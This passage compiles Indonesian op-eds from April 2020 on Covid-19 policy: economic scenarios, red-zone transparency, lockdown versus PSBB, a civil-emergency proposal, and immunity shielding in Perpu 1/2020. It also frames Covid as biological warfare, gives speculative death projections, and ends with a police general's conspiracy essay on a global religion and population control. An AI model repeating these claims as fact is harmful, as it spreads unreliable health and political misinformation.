ekonomi. Demikian pula dengan pembiayaan. Saya sendiri was-was pada isu “keberadaan” sumber. Pasar hutang dunia sungguh akan sesak. Saat ini saja, sudah ada tidak kurang dari U$ 7 Trilliun yang masuk ke dalam pasar dari berbagai upaya “counter measure“ banyak negara dalam menghadapi krisis ini. Yang potensial dan relatif murah itu adalah kapasitas Bank Indonesia. Tanpa mengabaikan potensi lain di dalam negeri. BI adalah “game changer” dalam urusan ini. Senjata kewenangan yang diberikan oleh Perpu yang baru saja dikeluarkan pemerintah memberi ruang “open ended policy” bagi BI. Catatannya, BI mesti kalkulatif sekaligus juga “ ikhlas” dalam menggunakan cadangan devisanya. Asal tidak mengulangi kekeliruan di era BLBI. IMF memang memiliki standar dalam menilai kekuatan ekonomi suatu negara dari segi cadangan devisanya. Cadangan yang ada sekarang. Setahu saya masih 20% diatas batas yang dianggap aman oleh IMF. Tetapi batasan ini tidak relevan dalam soal ini. Kita sesungguhnya sudah ditubir krisis ekonomi. Sampailah kita pada skenario “ Sangat Berat”. Menjadi sangat berat karena pemerintah juga tergerus kapasitasnya. Pemerintah hanya sanggup menyediakan 3,73% konsumsinya. Hanya 87% dari kapasitas normalnya. Demikian juga nilai tukar yang menyentuh Rp 20.000/ USD. Kapan itu terjadi? Jika krisis pandemi covid 19 berlarut-larut tanpa kepastian hingga bulan September tahun ini ( catatan : NHS/ Kementerian Kesehatan Inggris mendeklarasikan kemungkinan seperti ini), dan pemerintah kewalahan dalam menyediakan Sumber Pembiayaan Mengembalikan kehidupan menjadi normal dengan dampak covid 19 yang sudah bisa terkontrol, dan menjaga sisi pembiayaan negara (karena otoritas fiskal, moneter dan jasa keuangan semua ada di dalamnya) adalah tameng yang membatasi perpindahan skenario-skenario itu. Pada tahap awal, kebijakan Rp 405,1 triliun dan Perpu yang melandasi serangkaian langkah yang diambil dan akan diambil pemerintah merupakan “ bantalan” yang melegakan. Paket ini cukup memberikan ruang bernafas bagi perekonomian rakyat dan UMKM. Sektor riil, khususnya UMKM harus menjadi “champion” dalam paket-paket kebijakan ekonomi yang diluncurkan, maupun yang akan diluncurkan. Paket ini dianggap bisa membuat perekonomian mendarat darurat (crash landing ) tapi selamat. Konsumsi rumah tangga dijaga hingga pada batas minimal. Model transfer payment seperti ini memang jadi tren global. Tujuannya, mempertahankan momentum konsumsi Rumah Tangga. Sebagai suatu langkah kebijakan darurat, efeknya tentu terbatas pada penyediaan “bantalan” perekonomian. Kita masih menanti paket lanjutan pemerintah. Tentunya pada pembahasan RAPBN 2021 pada bulan Agustus nanti. Yang tahapnya akan dimulai pada pembicaraan pendahuluan dibulan Mei atau Juni nanti. Akhirnya, kepada Allah SWT jugalah kita berserah diri dan memohon pertolongan. Semoga Allah SWT membimbing kita semua keluar dari krisis ini. Amin. Wallahu ‘alam. Penulis adalah Pelaku Usaha dan Mantan Wakil Ketua Komisi XI DPR RI

Penanggulangan Covid-19: Sultan Tuntut Transparansi, GFI Pinta Kontribusi Fadilah Supari

Oleh Mochamad Toha Jakarta, FNN - Gubernur DI Jogjakarta Sri Sultan Hamengku Bowono X menyoroti kebijakan Pemerintah Pusat yang dinilai Sultan belum transparan soal wilayah yang masuk kategori zona merah penyebaran Virus Corona. Menurut Sultan, Pemerintah Provinsi pun sempat mempertanyakan kepada Presiden Joko Widodo, sebenarnya daerah mana yang masuk zona merah. “Yang kami tahu (zona merah) itu selama ini kan hanya Jakarta dan sekitarnya saja,” ujarnya. “Pemerintah kan tidak mau memberitahu, padahal (informasi) itu berguna buat pemerintah daerah menyusun kebijakan,” ujar Sultan di Jogjakarta, seperti dilansir Tempo.co, Senin (30 Maret 2020). Karena pemerintah pusat masih diam soal peta zona merah sebaran Corona itu, kata Sultan, maka sampai saat ini tidak ada satu pun gubernur di Jawa yang menyatakan menolak para pendatang. Ruang gerak warga dari mana pun praktis masih terbuka lebar untuk ke manapun. Sultan khawatir, tanpa ada informasi jelas soal zona merah ini, maka penyebaran virus akan makin mudah. Sehingga, upaya memutus mata rantai penularan menjadi lebih sulit dan beban penanggulangan bertumpuk ke daerah. “Misalnya ada warga dari zona merah (terpapar Corona), masuk wilayah yang sebenarnya zona hijau (belum banyak terpapar Corona), atau sebaliknya dari zona hijau masuk zona merah, lama-lama jadi merah,” ujar Sultan. Sultan pun berharap minimnya informasi soal zona ini segara disikapi. Misalnya memang suatu daerah dinyatakan zona merah, maka perlu diatur kebijakan yang mendukungnya. Seperti mengatur penggunaan moda transportasi umum dan pribadi. Jangan sampai, kata dia, sarana transportasi dari zona merah beroperasi masuk ke zona hijau. “Hal begini harus jelas bagi saya kalau untuk memutus penularan virus itu,” ujarnya. Sebenarnya bukan hanya soal zona merah yang selama ini tidak “dibuka” Pemerintah Pusat. Tapi, masalah data mana yang harus dipegang rakyat, juga menjadi soal. “Data mana yang dipegang rakyat,” tanya dr. Tifauzia Tyassuma. Perkuat Imunitas Menurut Dokter, Peneliti, dan Penulis AHLINA Institute ini, pada hari ke-30 dan seterusnya, sulit bagi kita memegang data laporan kasus yang disampaikan Jubir Convid-19 setiap hari. Data yang disampaikan Jubir itu berasal dari data kasus yang ditemukan berdasarkan laporan Rumah Sakit dan Daerah, yang tentu kita tahu, jauh lebih sedikit dibandingkan kasus positif yang seharusnya tertapis. “Dan jauh lebih sedikit lagi dibandingkan kasus riil yang terjadi di lapangan,” ungkap Dokter Tifa. Lalu Data apa yang harus jadi pegangan, supaya kita tahu perkembangan kasus Covid-19 ini? Mau tak mau, suka atau tidak suka, yang bisa menjadi pegangan valid adalah Model Prediksi Epidemiologi. Di bawah adalah infografik dari BAPPENAS. “Angkanya malah jauh lebih fantastis dari angka yang saya peroleh,” lanjut Dokter Tifa. Puncak kasus menurut versi Dokter Tifa sebesar 1.240.000 orang dengan jumlah kematian mencapai 104.160 orang. (Perlu segera siapkan kuburan massal dengan protokol jenazah pandemi yang harus segera disosialisasikan kepada seluruh Daerah). Puncak kasus menurut versi Bappenas sebesar 2.500.000 dengan jumlah kematian 210.000 (berdasarkan case fatality rate 8,4% realtime). “Mengapa saya bilang bahwa, setelah kasus ke 1.000+ tercapai, sulit bagi kita mempercayai Data kasus yang dilaporkan oleh Jubir?” tanya Dokter Tifa. Karena: 1. Screening test yang dibeli dari China hanya 500,000 dan itupun tidak terbagi merata, dan hanya orang-orang tertentu, justru dengan risiko minimal, yang mendapat fasilitas Rapid Test. 2. Diagnostic test seperti PCR jumlahnya sangat terbatas, hanya bisa dilakukan di 13 Rumah Sakit di Indonesia dari 3.000 Rumah Sakit yang ada, dan beberapa lembaga tertentu. 3. Tidak adanya mekanisme penyisiran kasus di setiap daerah, akibat dari sangat sedikitnya fasilitas pemeriksaan untuk menapis Covid-19 ini. Maka percaya atau tidak percaya, kita harus percaya kepada Model Prediksi yang dibuat oleh Para Ahli Epidemiologi. “Menurut perhitungan saya, hari ini, akhir Maret 2020, kasus tertapis sekitar 6.000 dengan jumlah kasus riil 162.000, di 30 Provinsi dengan 50% kasus di DKI Jakarta,” ungkap Dokter Tifa. Jadi, sekarang Rakyat Indonesia bergerak menjadi ODP (Orang dalam Pemantauan) dan PTG (Pasien Tanpa Gejala). Dokter Tifa bertanya, “Intervensi apakah yang bisa dilakukan pada titik sekarang untuk – setidaknya – melandaikan grafik?” Satu usulan Dokter Tifa: Perkuat Imunitas Diri Anda Dan Keluarga. Buat Mikrobiota Usus Anda Menjadi Pabrik Imun. Beri Mereka Makan Banyak Tetumbuhan Sesegar Mungkin. Hayuuk lakukan! Perlu Fadilah Supari Ada yang menarik dari Rekam Jejak mantan Menkes Siti Fadilah Supari: Perangi Flu Burung, Melawan Hegemoni WHO, Membongkar Laboratorium Bertujuan Ganda NAMRU-2 AS Dari Rekam Jejak itulah Global Future Institute (GFI) dalam siaran persnya menyatakan, guna menghadapi Pandemi Global Covid-19 dan Perang Biologis, Indonesia Perlu Hadirkan Kembali Siti Fadilah Supari. Mengingat gentingnya keadaan terkait Pandemi Global Covid-19, yang disertai dengan gelombang kecemasan dan rasa ketakutan yang kian meluas di berbagai daerah dari berbagai penjuru nusantara, maka bangsa dan negara saat ini bukan saja memerlukan keahlian dan kecakapan teknis di bidang kesehatan maupun kedokteran. Menyadari kenyataan bahwa meluasnya wabah Pandemi Global virus corona yang bermula dari Wuhan, China, pada perkembangannya tidak saja kita pandang sebagai murni masalah kesehatan. Melainkan juga meluas lingkupnya pada bidang politik-keamanan, sosial-ekonomi, sosial-budaya dan pertahanan-keamanan,­ maka perlu menghadirkan figur-figur bidang kesehatan dan kedokteran, namun tidak terpaku dan terbelenggu pada bidang spesialisasinya. Melainkan sosok yang berbasis kedokteran dan kesehatan namun punya perspektif Ketahanan Nasional yang mampu mengintegrasikan berbagai sudut pandang keilmuan. Dan mampu mengaitkan satu isu dengan isu lainnya, secara terintegrasi. Menyadari kenyataan bahwa GFI memandang Pandemi Global Covid-19 yang saat ini juga melanda Indonesia, maka fenomena wabah Covid-19 sudah harus dilihat dalam perspektif Perang Biologis antar-negara-negara adikuasa. “Sehingga kasus Covid-19 hakekatnya merupakan Perang Nir-militer. Yang mana dampak dan kerusakannya tidak kalah dahsyatnya daripada Perang Militer,” kata Direktur Eksekutif GFI Prof. Hendrajit. Sosok yang sudah terbukti melalui reputasi maupun rekam jejaknya semasa menjabat sebagai Menkes dalam memerangi flu burung dan flu babi, Siti Fadilah Supari merupakan sosok yang mumpuni untuk kembali dilibatkan dalam menghadapi situasi yang kritis dan pelik terkait Pandemi Global Covid-19 ini. Maka dari itu, “Kami dari Global Future Institute (GFI), mendesak pemerintah Indonesia untuk memanggil kembali mantan menteri kesehatan Ibu Siti Fadilah Supari, sebagai aset bangsa, untuk ikut berkontribusi memerangi virus Corona,” katanya. *** Penulis Wartawan Senior.

Jangan Paranoid, Hanya Testing The Water

By Tony Rosyid Jakarta FNN – Kamis (02/04). Darurat Sipil. Ini "testing the water". Tes gelombang. Lempar, dan menunggu reaksi publik. Riak kecil, lanjut. Ada gelombang besar, batalkan. Ini teori umum. Sering dilakukan banyak orang, terutama di arena politik. Hanya saja, untuk era pemerintahan sekarang, "testing the water" sepertinya sudah jadi pola. Terlalu sering, sehingga mudah dibaca. Sebelumnya, pemerintah pernah melempar gagasan RUU KPK. Riaknya kecil. Protes hanya di kalangan mahasiswa. Maka, jalan terus. UU KPK pun disahkan. Apalagi dapat full dukungan dari DPR. Hal yang sama terjadi ketika pemerintah memunculkan nama Ahok untuk jabatan Komisaris Utama (Komut) PT. Pertamina. Riaknya kecil, lanjut. Dicoba lagi wacanakan ibukota baru dan Ahok yang menjadi Kepala Otorita-nya. Khusus untuk soal terakhir ini, pemerintah masih dalam proses membaca riak atau gelombang yang akan dihadapi. Begitu juga dengan RUU Omnibus Law. Kali ini yang dihadapi adalah kaum buruh. Sejauhmana kekuatan buruh melakukan konsolidasi. Ini akan menjadi kalkulasi maju-mundurnya pemerintah terkait RUU Omnibus Law tersebut. Jadi, wacana darurat sipil sebagai upaya menghadapi covid-19 nampaknya juga menggunakan pola "testing the water". Lempar dulu ke publik. Ternyata, reaksi rakyat sangat besar. Hampir semua elemen bangsa menolak. Gelombangnya terlalu dahsyat. Gak mungkin dilawan. Maka, pemerintah pun menarik kembali gagasan itu. Meski "dibatalkan", gagasan darurat sipil masih menyisakan pertanyaan di benak rakyat. Apa yang memicu gagasan ini muncul? Mungkin pemerintah terlalu paranoid. Mirip seperti anda juga. Paranoid. Banyak orang saat ini jadi paranoid ketika hadapi covid-19. Imbauan social and physical distancing, membuat banyak orang saling curiga. Jangan-jangan ODP. Atau malah positif corona. Sedang duduk di kursi, berpikir kursi diduduki corona. Pegang plastik, berpikir corona ada di plastik. Makan di warung, takut corona ikut makan. Begitulah situasi sekarang. Serba paranoid! Pemerintah nampaknya mengalami hal yang sama. Kali ini bukan karena covid-19, tetapi karena takut jatuh. Apalagi jika dengar Syahganda Nainggolan bicara. “Pemerintah akan jatuh sendiri. Bukan dijatuhkan. Hanya menunggu waktu”. Ngeri kali bicaranya bang. Emang ada pemerintahan yang jatuh tanpa dijatuhkan? Saya kasih tahu, pemerintah sekarang dalam posisi masih sangat kuat. Gak ada pihak yang punya nyali, keberanian, apalagi kemampuan untuk menjatuhkan pemerintah. Dukungan masih solid. TNI, Polri, parlemen dan buzzer masih terlihat kompak. Aman-aman saja. Gak perlu takut pemerintah. Kecuali dua hal terjadi. Pertama, jika ekonomi ambruk. Covid-19 berlanjut sampai kuartal III dan IV. Ini juga akan tergantung kepada ketahanan ekonomi kita. Kalau bener-bener ambruk, siapapun presidennya akan berat untuk bertahan. Tidak hanya di Indonesia, tapi di semua negara. Kedua, PDIP menarik diri dari koalisi. Mungkinkah itu terjadi? Dalam politik, tak ada yang mustahil. Apalagi hubungan Jokowi-Mega terus berjarak. Bahkan makin renggang. Kalau dua hal ini tak terjadi, maka pemerintah masih aman. Soal ekonomi, Indonesia masih cukup kuat untuk bertahan. Diantara negara G20 yang dihajar covid-19, Indonesia termasuk salah satu negara yang secara ekonomi masih cukup mampu bertahan. Pertumbuhan ekonomi masih ada, meski 1 persen. Selain China 1 persen, dan India 2,1 persen. Jadi, jangan bersikap berlebihan. Darurat sipil itu berlebihan. Terlalu politis. Akhirnya, paranoid sendiri. Cadangan fiskal masih aman untuk tahun ini. Itu katanya. Ah, sok tahu soal ekonomi. Lagi belajar. Jadi, 405,1 triliun yang disiapkan pemerintah pusat untuk hadapi covid-19 dengan semua dampak sosial-ekonominya menjadi bukti Indonesia punya uang. Dari mana? Entar pemerintah yang jelasin. Kita berharap, 405,1 triliun itu bener adanya, dan bener pula diimplementasi. Jangan sampai ada korupsi di tengah pandemic virus corona. So, jangan semuanya dilihat dari perspektif politik. Ini yang membuat semua langkah pemerintah terkesan jadi sangat politis. Darurat sipil itu politis. Akibatnya, pemerintah kehilangan arah. Gak fokus. Penuh curiga. Terlihat bimbang, yang membuat kinerja nggak terukur. Gamang ketika mau ambil keputusan. Terkesan lelet dan lambat. Habis energi. Menguras biaya yang hanya dinikmati para buzzer. Nah, kalau anda bertanya kenapa pemerintah "seperti" punya kekhawatiran dijatuhkan? Pertama, mungkin dibayang-bayangi oleh persoalan politik masa lalu yang sepenuhnya belum tuntas. Pemerintah belum berhasil mengajak rakyat untuk move on. Ini menyangkut soal kinerja dan komunikasi politik pemerintah yang belum mampu merubah persepsi politik dan sikap rakyat. Kedua, akibat gagalnya pemerintah ajak rakyat untuk move on, gelombang oposisi rakyat masih sangat terasa dan terus bergema. Dinamika di medsos dan hasil sejumlah survei memotret ini semua. Ketiga, diduga ada sejumlah oknum di lingkaran dalam dan luar istana yang secara konsisten melakukan provokasi dan menakut-nakuti pemerintah. Mereka membuat pemerintah seolah-olah terancam. Dari sini, wacana darurat sipil muncul. Dengan darurat sipil, para oknum ini berharap akan dapat peran dan bisa eksis kembali. Bersyukur, pemerintah gak jadi memutuskan darurat sipil. Ini keputusan yang tepat dan logis. Semoga gak lagi paranoid. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Memanusiakan Rakyat, Pilihan Jalan Kosntitusional Anies

By Dr. Ahmad Yani, MH Jakarta FNN – Kamis 902/04). Pandemi corona atau lebih dikenal dengan sebutan Covid-19. Virus ini bermula dari Kota Wuhan, China, kini menjadi wabah yang menakutkan bagi masyarakat dunia. Tidak saja negara maju, negara berkembang, maupun negara terbelakang juga berupaya menyelamatkan warganya agar tidak terpapar dan kasus meluas. Berdasarkan klaim Pemerintah Pusat, Covid-19 kali pertama masuk Indonesia pada 2 Maret 2020. Sebelum terdeteksi, para pemangku kebijakan negara menunjukkan optimismenya, bahkan dengan kalimat-kalimat yang seakan mendahului kehendak Tuhan. Kalimat yang semestinya tidak pantas dan layak terlontar dari mulut pejebat Pemerintah Pusat. Optimisme berbalik fakta dalam realitasnya. Pemerintah tidak mampu mengelak. Covid-19 masuk juga ke tanah air. Pencegahan yang lamban dan penanganan yang tersendat, memperlihatkan bahwa negara tidak berdayaan mengatasi wabah yang begitu cepat menjalar. Kritik dan masukan terlontar. Malah keterlibatan masyarakat dalam menangani Covid-19 lebih cepat ketimbang negara. Kemajemukan dengan gugusan geografis kepulauan, memperlihatkan kesigapan masyarakat dan mengesampingkan persoalan-persoalan politik. Masyarakat Indonesia bergotong royong melakukan langkah-langkah yang fokus pada pencegahan dan pemulihan akibat terdampak. Targertnya agar Covid-19 tidak merambah lebih luas lagi. Lalu dimana negara? Dimana Pemerintah? Konstitusi kita, dalam paragraf keempat secara gamblang menegaskan, "dibentuknya pemerintahan Indonesia untuk melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia” Kemudian, berkewajiban "menyejahterakan, mencerdaskan, memberi kedamaian dan keadilan sosial". Pada konteks inilah Indonesia adalah negara yang memanusiakan manusia. Jalur Konstitusional Anies Kembali kita melihat kualitas sosok Anies Baswedan sebagai kepala Pemerintahan Provinsi DKI Jakarta. Pendekatan memanusiakan manusia bagi warganya. Sebab kini secara persentase, warga DKI Jakarta sangat besar dibandingkan provinsi lain yang terpapar Covid-19. Pemahaman dirinya menjadi Gubernur DKI Jakarta atas kehendak warganya. Sejalan dengan alur perintah pembukaan UUD 1945. Mendahulukan kesehatan dan keselamatan warganya dalam koridor konstitusi. Tecermin dari nilai-nilai keadilan, kesetaraan, dan persaudaraan melalui berbagai kebijakannya menangani pandemic Covid-19. Sehinga, hak warga atas pelayanan, kesejahteraan, dan kesehatan tetap diberikan. Sayangnya, keinginan Anies mencegah penyebaran wabah yang begitu masif tidak selalu berjalan baik. Beberapa kebijakan ditolak oleh Pemerintah Pusat. Seperti pembatasan transportasi publik, karantina wilayah (lockdown), dan menyetop operasional bus dari dan ke Jakarta. Permasalahannya bukan terletak di Anies, melainkan pihak-pihak yang lebih berpikir dari dudut-pandang politik kekuasaan dengan dalih peraturan perundang-undangan. Sebagai orang hukum, saya tidak sepenuhnya memahami tentang kesehatan. Sependek sepengetahuan saya, lockdown merupakan tindakan membatasi aktivitas penduduk sebagai respons atas menyebarnya wabah untuk melindungi segenap rakyat. Lockdown atau istilah apa pun, merupakan langkah konstitusional Anies dalam melokalisasi keberadaan virus. Bukan saja bagi yang tertular, tetapi dapat mengidentifikasi di lokasi mana saja wabah virus berkembang. Dengan begitu, pemetaan keberadaan virus akan lebih mudah. Juga untuk memutus mata rantai penyebarannya. Untuk Keselamatan Secara konstitusional, kehendak Anies itu tidak dalam zona pelanggaran konstitusi. Justru sebaliknya, konstitusi menjadi kabur, ketika pusat membawa persoalan kemanusiaan ini ke ranah ekonomi politik. Akibatnya, akan banyak warga Jakarta yang terdampak wabah. Melalui penerapan lockdown, Anies sebenarnya juga mendorong peran negara dalam melindungi masyarakat Jakarta. Ketika lockdown diberlakukan, Pemerintah Pusat wajib memenuhi kebutuhan hidup dasar warga dan pakan ternaknya. Ini diamanatkan secara eksplisit dalam Pasal 55 ayat (1) Undang-Undang Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan. Masyarakat, khususnya pekerja informal yang beraktivitas di luar ruang dan risiko terpapar Covid-19 besar kemungkinan akan senang. Sebab, mereka tidak perlu lagi pergi keluar rumah dan bekerja demi memenuhi kebutuhan keluarganya sehari-hari. Kebutuhan makan dan minum ditanggung oleh negara. Sayangnya, Pemerintah Pusat berkehendak lain. Presiden Jokowi justru memilih opsi Pembatasan Sosial Berskala Besar (PSBB). Opsi PSBB tersebut, ditandai dengan terbitnya Peraturan Pemerintah (PP) Nomor 21 Tahun 2020. Kebijakan tersebut tentu langkah mundur dan mengecilkan peran negara. Karena tidak ada lagi ketentuan yang mengikat bagi Pemerintah Pusat untuk memenuhi kebutuhan hidup dasar rakyat dan pakan ternaknya. Baik dalam UU Kekarantinaan Kesehatan maupun PP PSBB. Dalam Pasal 4 ayat (3) PP PSBB, pemerintah memang diminta penerapan pembatasan sosial dengan memperhatikan pemenuhan kebutuhan dasar penduduk. Namun, tujuannya agar langkahnya tidak mengganggu distribusi dan akses masyarakat. Bukan lagi kewajiban pemenuhannya atau penyediaannya. Keputusan ini justru berbahaya dan tidak memanusiakan manusia. Pekerja informal, seperti pedagang kaki lima (PKL), yang mengandalkan pendapatan harian dari usaha di tempat umum akan terancam. Kelompok masyarakat ini bakal susah makan dan minum. Mereka berisiko tidak bisa berjualan, karena pemerintah berhak menghentikan segala aktivitas di fasilitas publik. Padahal, para pedagang kecil juga terpaksa tetap berjualan di tengah besarnya ancaman "musuh kasat mata ini”, demi memenuhi kebutuhan anggota keluarganya. Apalagi, negara tidak lagi menanggungnya, sebagaimana skenario lockdown. Apa akhirnya? Keputusan PP PSBB berpotensi menyebabkan terjadinya gejolak sosial. Apabila pelarangan terhadap aktivitas pekerja informal di tempat umum dilakukan secara masif. Niat menyelamatkan nyawa dari ancaman Covid-19 berujung pada kemungkinan konflik horizontal antara pemerintah dengan rakyatnya sendiri. Penulis adalah Anggota DPR/MPR 2009-2014, Advokat dan Dosen FHdan FISIP UMJ. #Masyumireborn

Perpu Corona Aneh, "Korupsi Dana Stimulus Tidak Boleh Dipidana"

Pasal 27 ayat (1) Perpu 01 tahun 2020 ini mengatakan “Biaya yang telah dikeluarkan Pemerintah …. merupakan bagian dari biaya ekonomi untuk penyelamatan perekonomian dari krisis dan bukan merupakan kerugian negara”. Ayat (2) dan ayat (3) menegaskan semua pihak tidak bisa digugat dan dituntut. Luar biasa perlindungan itu. Enak sekali menjadi pejabat yang mengelola dana stimulus. By Anthony Budiawan Jakarta FNN – Kamis (02/04). Setelah terkesan main-main dalam menangani wabah Covid-19 selama sebulan, pemerintah akhirnya memberi stimulus Rp 405,1 triliun untuk memerangi wabah dan krisis ekonomi. Stimulus terdiri dari empta kelompok. Pertama, bidang kesehatan dapat Rp 75 triliun. Kedua, bidang kemanusiaan alias jaring pengaman sosial dapat Rp 110 triliun. Ketiga, insentif perpajakan dan stimulus KUR (Kredit Usaha Rakyat) dianggarkan Rp 70,1 triliun. Keempat, pemulihan ekonomi nasional diberikan Rp 150 triliun. Krisis ekonomi dan pemberian stimulus di Indonesia mempunyai catatan hitam. Selalu digunakan kesempatan untuk korupsi. Pertama, ketika krisis moneter dan ekonomi tahun 1998. Pemerintah, ketika itu diwakilkan Bank Indonesia (BI), memberi dana bantuan likuiditas (BLBI) Rp 144,5 triliun kepada 48 bank. Tetapi, menurut audit Badan Pemeriksa Keuangan (BPK), yang tepat sasaran hanya Rp 6,5 triliun. Sisanya, sekitar Rp 138 triliun menguap, diselewengkan dan dikorupsi. Banyak pelakunya yang sudah dihukum, tetapi banyak juga yang masih lolos dari hukuman. Karena dalam proses hukum, sering kali yang salah bisa jadi benar, sehingga lolos mereka. Kedua, krisis keuangan global tahun 2008. Bank Century pada awal Oktober 2008 mengalami kesulitan likuiditas. Pemerintah turun tangan memberi pinjaman dan suntikan likuiditas hingga Rp 6,7 triliun, yang kemudian ternyata bermasalah. Proses hukum berjalan hanya untuk beberapa orang saja. Yang lain sepertinya kebal hukum. Sampai sekarang, kasus ini tidak tuntas. Sisanya menguap. Melihat pengalaman di atas, masyarakat patut curiga krisis sekarang juga rentan untuk disalahgunakan. Apalagi Perpu No. 1 tahun 2020 tersebut seolah-olah sudah disiapkan untuk melindungi para pejabat dari jerat hukum pidana. Perlindungan ini tercantum di Pasal 27. Pasal 27 ayat (1) Perpu ini mengatakan “Biaya yang telah dikeluarkan Pemerintah …. merupakan bagian dari biaya ekonomi untuk penyelamatan perekonomian dari krisis dan bukan merupakan kerugian negara”. Ayat (2) dan ayat (3) menegaskan semua pihak tidak bisa digugat dan dituntut. Luar biasa perlindungan itu. Enak sekali menjadi pejabat yang mengelola dana stimulus. Pasal 27 ini tidak pantas dan tidak layak ada di negara yang mengedepankan supremasi hukum. Negara yang menghormati dan menjunjung tinggi hukum. Oleh karena itu, seharusnya ditolak. Karena, tidak mungkin semua biaya pengeluaran dari stimulus ini harus dianggap sah. Ini namanya aji mumpung. Pasal 27 ini jelas membuka peluang untuk pejabat negara melakukan perampokan keuangan negara. Perampokan itu melalui stimulus secara besar-besaran dan terang-terangan. Karena, mungkin saja terjadi penyimpangan dan penyelewengan dalam menggunakan dana stimulus tersebut. Seperti terbukti di dua krisis ekonmi sebelumnya tahun 1998 dan 2008. Misalnya, pengadaaan peraalatan kesehatan seperti masker, Alat Perlindungan Diri (APD), ventilator dan lainnya. Apakah biaya sebesar apapun harus diterima dan dianggap sah? Apakah proses pengadaannya boleh menyimpang dari proses normal? Kalau ternyata biayanya jauh lebih tingga dari harga normal, apakah juga dianggap sah? Kalau belinya hanya dari satu atau dua pemasok saja, apakah juga harus dianggap sah? Apakah tidak boleh diselidiki lebih lanjut tentang keungkinan ada kolusi dalam proses pengadaannya? Nilai “proyek” bidang kesehatan ini Rp 75 triliun, sangat besar, dan akan dilaksanakan secara cepat. Seluruh komponen bangsa seharusnya bersama-sama mengawasi agar stimulus yang besar ini benar-benar digunakan untuk kepentingan rakyat Indonesia yang sedang tertimpa musibah Covid-19. BPK, DPR, Kepolisian, KPK serta semua komponen masyarakat seharusnya wajib turut mengawasi. Agar terjadi transparansi, hasil pengadaan barang harus diumumkan ke masyarakat. Berapa jumlah pembelian masker, APD, ventilator dan seterusnya? Beli dari siapa, dengan harga berapa? Dengan demikian, diharapkan tidak ada monopoli atau kartel yang bisa mengakibatkan terjadi kerugian negara. Semoga tidak ada penguasaan impor oleh sekelompok pengusaha yang dekat dengan penguasa. Dan juga, izin impor dan izin produksi barang-barang tersebut harus dibuat seterang-terangnya. Jangan usaha kecil disusahkan dan pengusaha besar dipermudah. Begitu juga dengan bantuan kepada masyarakat, baik pangan, non pangan, dan bantuan tunai. Semua harus dibuat transparan dan diumumkan secara rinci. Jumlah penerima bantuan per Provinsi, Kabupaten atau Kota dan desa. Setiap bantuan tersebut harus diketahui oleh perangkat desa sampai Provinsi. Bukan hanya oleh Kementerian terkait di pusat. Terakhir, stimulus untuk pemulihan ekonomi nasional. Anggarannya Rp 150 triliun. Belum jelas bagaimana pelaksanaannya. Sekilas, bantuan ini terkait dengan rencana penerbitan surat utang negara yang dinamakan recovery bond. Sedang diupayakan, bond ini bisa dibeli langsung oleh BI, yang menurut UU tentang BI saat ini, BI tidak boleh membeli bond secara langsung dari pemerintah. Oleh karena itu, untuk membuat BI membeli bond dari pemerintah ini mungkin atau legal, maka pemerintah harus mengeluarkan Perpu lagi, yang menghapus larangan tersebut. Hasil uang dari penerbitan surat utang recovery bond ini akan diberikan secara langsung kepada perusahaan, sebagai pinjaman dari pemerintah. Cara ini bisa bertentangan dengan peraturan yang berlaku. Seharusnya, pemerintah tidak boleh memberi pinjaman langsung kepada perusahaan swasta. Bantuan tersebut seharusnya melalui sektor keuangan. Kalau tidak, masyarakat bisa saja curiga bahwa bantuan stimulus hanya disalurkan kepada perusahaan dan pengusaha tertentu yang dekat dengan penguasa. Sekali lagi, demi transparansi, setiap bantuan kepada perusahaan harus diumumkan kepada public. Termasuk jumlah bantuan yang akan diberikan. Transparansi di atas sangat diperlukan untuk menghindari penyalahgunaan kekuasaan. Kemungkinan juga penyalahgunaan dana stimulus. Pasal 27 Perpu No 1 Tahun 2020 seyogyanya dihapus. Meskipun dihapus, diharapkan tidak ada yang terpidana korupsi karena transparansi di atas. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

"Kembali Kepada Peradaban Yang Fitrah"

By Komjen Pol. Drs. Dharma Pongrekun MM. MH. Jakarta FNN- Kamis (02/04). Fenomena yang saat ini terjadi merupakan rangkaian proses dari upaya manusia-manusia yang tidak takut Tuhan untuk membangun sebuah "Peradaban yang tidak fitrah". Apa itu? Peradaban yang tak fitrah adalah peradaban yang dibentuk menurut rancangan manusia dunia. Yang menjauhkan umat dari rancangan Sang Pencipta. Tuhan tidak menghendaki manusia membangun peradaban duniawi yang tidak fitrah. Sejak semula manusia dirancang untuk hidup seturut kehendak-Nya, bukan sebaliknya. Hidup menurut kehendak dunia sudah pasti akan menghancurkan manusia itu sendiri. Peradaban duniawi yang dibangun hanya berdasarkan pemikiran yang dipengaruhi hawa nafsu. Sifatnya fana dan pada akhirnya akan jadi peradaban yang dipenuhi oleh hati yang jahat. Hasilnya, manusia penuh dengan keserakahan. Manusia-manusia yang dikuasai penuh oleh hawa nafsu ini sedang berupaya untuk membangun sebuah sistem peradaban baru: “SATU SISTEM PERADABAN GLOBAL”. Ini adalah suatu sistem peradaban yang dirancang menurut hukum-hukum dan gagasannya sendiri, dengan tujuan memperkokoh eksistensinya secara berkelanjutan. Kemudian dunia akan digiring untuk meniadakan batas antar negara, melalui kebijakan-kebijakan yang sifatnya “dipaksakan”. Untuk apa? Jelas. Demi terwujudnya “SATU SISTEM PERADABAN GLOBAL” paling efektif di seluruh dunia. Tidak hanya sampai di sini. Bersiaplah. Sebuah pemaksakan “SATU AGAMA GLOBAL” pun sedang dalam perjalanan. “SATU AGAMA GLOBAL” ini akan membawahi seluruh agama yang ada. Agama global ini dihadirkan untuk mengatur kebijakan dan doktrin-doktrin yang harus ditaati oleh semua agama yang ada, demi terwujudnya agenda milik “SATU PERADABAN GLOBAL”. Otomatis, kita akan dipaksa tunduk pada kehendak dunia. bukan lagi pada kehendak Tuhan. Ada tiga program besar dari Peradaban Global, yaitu : Money (Penguasaan sistem moneter dunia), Power (Pengelolaan sistem pemerintahan dunia dengan memberi sejumlah dana dalam berbentuk hutang), dan Control Population (Pengendalian jumlah penduduk dunia). Program terakhir dari Peradaban Global adalah Pengendalian Populasi (Control Population). Pertambahan jumlah penduduk saat ini dianggap tidak akan mampu diimbangi oleh produksi pangan, dan ketersediaan lahan yang terus mengalami kerusakan akibat eksploitasi berlebihan. Ini “dihembuskan” agar mereka dapat mewujudkan Peradaban Global yang sudah mereka cita-citakan. Mereka menganggap pengendalian populasi adalah kunci paling penting dalam 